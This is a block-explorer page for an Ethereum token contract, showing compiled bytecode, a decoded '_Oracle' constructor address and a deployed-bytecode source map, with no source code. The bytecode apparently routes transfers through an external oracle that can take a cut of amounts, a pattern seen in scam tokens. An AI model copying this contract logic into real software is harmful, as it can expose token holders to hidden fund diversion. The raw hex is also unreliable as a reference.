b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b03808616600090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c63430007060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d

-----Decoded View---------------
Arg [0] : _Oracle (address): 0x90F80A452c2376bA45869Da1D843664e47FEED6d

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d


Deployed Bytecode Sourcemap

3979:5204:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8694:178;;;;;;;;;;;;;:::i;:::-;;5186:80;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5608:216;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5608:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4916:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;6768:364;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6768:364:0;;;;;;;;;;;;;;;;;:::i;1664:103::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1664:103:0;-1:-1:-1;;;;;1664:103:0;;:::i;5010:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6390:206;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6390:206:0;-1:-1:-1;;;;;6390:206:0;;:::i;6293:89::-;;;;;;;;;;;;;:::i;6169:116::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6169:116:0;-1:-1:-1;;;;;6169:116:0;;:::i;8884:89::-;;;;;;;;;;;;;:::i;5356:105::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5356:105:0;-1:-1:-1;;;;;5356:105:0;;:::i;8984:124::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8984:124:0;;;;;;;;;;:::i;5272:78::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;5272:78:0;;;;;;;;;;;;;;4492:29;;;;;;;;;;;;;:::i;6604:156::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6604:156:0;;;;;;;;:::i;5993:164::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5993:164:0;;;;;;;;:::i;1457:94::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1457:94:0;-1:-1:-1;;;;;1457:94:0;;:::i;5872:113::-;;;;;;;;;;;;;:::i;4460:25::-;;;;;;;;;;;;;:::i;5467:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5467:133:0;;;;;;;;;;:::i;1559:97::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1559:97:0;-1:-1:-1;;;;;1559:97:0;;:::i;1890:173::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1890:173:0;-1:-1:-1;;;;;1890:173:0;;:::i;4528:35::-;;;;;;;;;;;;;:::i;1775:107::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1775:107:0;-1:-1:-1;;;;;1775:107:0;;:::i;8694:178::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;8748:10:::1;:8;:10::i;:::-;8747:11;8739:20;;;::::0;::::1;;8783:12;8770:10;:25:::0;8823:15:::1;8806:14;:32:::0;8849:6:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;8849:15:0;;;;-1:-1:-1;;;;;8849:6:0;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;-1:-1:-1;;8849:15:0;;;;;;;;-1:-1:-1;8849:6:0;:15;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8694:178::o:0;5186:80::-;5258:5;;;;;;;;;;;;-1:-1:-1;;;5258:5:0;;;;5186:80;:::o;5608:216::-;5712:10;5683:4;5700:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5700:32:0;;;;;;;;;;;:41;;;5757:37;;;;;;;5683:4;;5700:32;;5712:10;;5757:37;;;;;;;;-1:-1:-1;5812:4:0;5608:216;;;;:::o;4916:88::-;4989:12;;4916:88;:::o;6768:364::-;-1:-1:-1;;;;;6888:19:0;;6868:4;6888:19;;;:11;:19;;;;;;;;6908:10;6888:31;;;;;;;;-1:-1:-1;;6888:46:0;6885:180;;6984:69;;;;;;;;;;;-1:-1:-1;;;6984:69:0;;;;;;;;-1:-1:-1;;;;;6984:19:0;;-1:-1:-1;6984:19:0;;;:11;:19;;;;;7004:10;6984:31;;;;;;;;;;:69;;7020:6;;6984:35;:69::i;:::-;-1:-1:-1;;;;;6950:19:0;;;;;;:11;:19;;;;;;;;6970:10;6950:31;;;;;;;:103;6885:180;7084:40;7098:6;7106:9;7117:6;7084:13;:40::i;:::-;7077:47;6768:364;-1:-1:-1;;;;6768:364:0:o;1664:103::-;1719:4;1754:5;-1:-1:-1;;;;;1754:5:0;;;1743:16;;;;1664:103::o;5010:80::-;4158:1;5010:80;:::o;6390:206::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6457:6:::1;:25:::0;;-1:-1:-1;;;;;6457:25:0;;::::1;-1:-1:-1::0;;;;;;6457:25:0;;::::1;::::0;::::1;::::0;;6513:4:::1;6457:6;6493:26:::0;;;:11:::1;:26;::::0;;;;;;;:44;;;;;;;;;-1:-1:-1;;6493:58:0;;6562:13:::1;:22:::0;;;:29;;-1:-1:-1;;6562:29:0::1;6457:25:::0;6562:29:::1;::::0;;6390:206::o;6293:89::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6347:6:::1;::::0;:30:::1;::::0;;-1:-1:-1;;;6347:30:0;;6371:4:::1;6347:30;::::0;::::1;::::0;;;-1:-1:-1;;;;;6347:6:0;;::::1;::::0;:15:::1;::::0;:30;;;;;:6:::1;::::0;:30;;;;;;;;:6;;:30;::::1;;::::0;::::1;;;;::::0;::::1;6169:116:::0;6224:4;6248:29;6256:7;-1:-1:-1;;6248:7:0;:29::i;:::-;6241:36;6169:116;-1:-1:-1;;6169:116:0:o;8884:89::-;8953:12;8884:89;:::o;5356:105::-;-1:-1:-1;;;;;5440:18:0;5422:7;5440:18;;;:9;:18;;;;;;;5356:105::o;8984:124::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9070:21:0;;;::::1;;::::0;;;:13:::1;:21;::::0;;;;:30;;-1:-1:-1;;9070:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8984:124::o;5272:78::-;5324:7;5342:5;-1:-1:-1;;;;;5342:5:0;5272:78;:::o;4492:29::-;;;;:::o;6604:156::-;6684:4;6708:44;6722:10;6734:9;6745:6;6708:13;:44::i;:::-;6701:51;6604:156;-1:-1:-1;;;6604:156:0:o;5993:164::-;6076:10;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6106:43:::1;::::0;;-1:-1:-1;;;6106:43:0;;6130:10:::1;6106:43;::::0;::::1;::::0;;;;;;;;;-1:-1:-1;;;;;6106:23:0;::::1;::::0;::::1;::::0;:43;;;;;::::1;::::0;;;;;;;;-1:-1:-1;6106:23:0;:43;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;6106:43:0;;5993:164;-1:-1:-1;;;5993:164:0:o;1457:94::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1517:19:0::1;;::::0;;;1539:4:::1;1517:19;::::0;;;;;;;:26;;-1:-1:-1;;1517:26:0::1;::::0;;::::1;::::0;;1457:94::o;5872:113::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;5926:51:::1;::::0;5934:10:::1;::::0;5955:21:::1;5926:51:::0;::::1;;;::::0;::::1;::::0;;;5955:21;5934:10;5926:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;5872:113::o:0;4460:25::-;;;;:::o;5467:133::-;-1:-1:-1;;;;;5569:19:0;;;5551:7;5569:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5467:133::o;1559:97::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1621:19:0::1;1643:5;1621:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;1621:27:0::1;::::0;;1559:97::o;1890:173::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;1966:5:::1;:11:::0;;-1:-1:-1;;;;;;1966:11:0::1;-1:-1:-1::0;;;;;1966:11:0;::::1;::::0;;::::1;::::0;;1988:19;;;-1:-1:-1;1988:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;1988:26:0::1;::::0;;::::1;::::0;;;2030:25;;;;;;;::::1;::::0;;;;;;;;;::::1;1890:173:::0;:::o;4528:35::-;;;;;;:::o;1775:107::-;-1:-1:-1;;;;;1855:19:0;1831:4;1855:19;;;:14;:19;;;;;;;;;1775:107::o;8596:90::-;8663:10;;:15;;8596:90;:::o;2725:192::-;2811:7;2847:12;2839:6;;;;2831:29;;;;-1:-1:-1;;;2831:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;2883:5:0;;;2725:192::o;7140:914::-;7232:4;7252:10;:8;:10::i;:::-;:59;;;;;7296:15;7266:14;;7283:9;7266:26;:45;;7252:59;7249:352;;;7326:6;;;;;;;;;-1:-1:-1;;;;;7326:6:0;-1:-1:-1;;;;;7326:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7326:20:0;:44;;;;;7359:11;;7350:6;:20;7326:44;7323:267;;;7382:14;7399:23;7410:11;;7399:6;:10;;:23;;;;:::i;:::-;7480:6;;-1:-1:-1;;;;;7480:6:0;7462:26;;;;:9;:26;;;;;;7382:40;;-1:-1:-1;7462:38:0;;7382:40;7462:30;:38::i;:::-;7451:6;;;-1:-1:-1;;;;;7451:6:0;;;7433:26;;;;:9;:26;;;;;;;;;:67;;;;7541:6;;7516:41;;;;;;;7541:6;;;;7516:41;;;;;;;;;;;;;7577:11;;7568:20;;7323:267;;7641:53;;;;;;;;;;;-1:-1:-1;;;7641:53:0;;;;;;;;-1:-1:-1;;;;;7641:17:0;;-1:-1:-1;7641:17:0;;;:9;:17;;;;;;;;:53;;7663:6;;7641:21;:53::i;:::-;-1:-1:-1;;;;;7621:17:0;;;;;;;:9;:17;;;;;;;;:73;;;;7742:24;;;;;:13;:24;;;;;;;;;7738:154;;7784:25;7802:6;7784:17;:25::i;:::-;:76;;7854:6;7784:76;;;7812:39;7825:6;7833;7841:9;7812:12;:39::i;:::-;7768:92;;7738:154;;;-1:-1:-1;7884:6:0;7738:154;-1:-1:-1;;;;;7925:20:0;;;;;;:9;:20;;;;;;:40;;7950:14;7925:24;:40::i;:::-;-1:-1:-1;;;;;7902:20:0;;;;;;;:9;:20;;;;;;;;;:63;;;;7981:43;;;;;;;7902:20;;7981:43;;;;;;;;;;;;;-1:-1:-1;8042:4:0;;7140:914;-1:-1:-1;;;;7140:914:0:o;2583:136::-;2641:7;2668:43;2672:1;2675;2668:43;;;;;;;;;;;;;;;;;:3;:43::i;2396:181::-;2454:7;2486:5;;;2510:6;;;;2502:46;;;;;-1:-1:-1;;;2502:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;8062:119;-1:-1:-1;;;;;8152:21:0;8128:4;8152:21;;;:13;:21;;;;;;;;8151:22;;8062:119::o;8189:399::-;8333:6;;:56;;;-1:-1:-1;;;8333:56:0;;;;;;;;-1:-1:-1;;;;;8333:56:0;;;;;;;;;;;;;;8378:10;8333:56;;;;;;8278:7;;;;;;8333:6;;;;;:21;;:56;;;;;;;;;;;8278:7;8333:6;:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8333:56:0;;;;;;;;;-1:-1:-1;8333:56:0;-1:-1:-1;8397:145:0;;;;8457:6;;-1:-1:-1;;;;;8457:6:0;8439:26;;;;:9;:26;;;;;;:41;;8470:9;8439:30;:41::i;:::-;8428:6;;;-1:-1:-1;;;;;8428:6:0;;;8410:26;;;;:9;:26;;;;;;;;;:70;;;;8521:6;;8496:44;;;;;;;8521:6;;;;8496:44;;;;;;;;;;;;;8397:145;8559:21;:6;8570:9;8559:10;:21::i;:::-;8552:28;8189:399;-1:-1:-1;;;;;;8189:399:0:o

Swarm Source

ipfs://fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d633

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.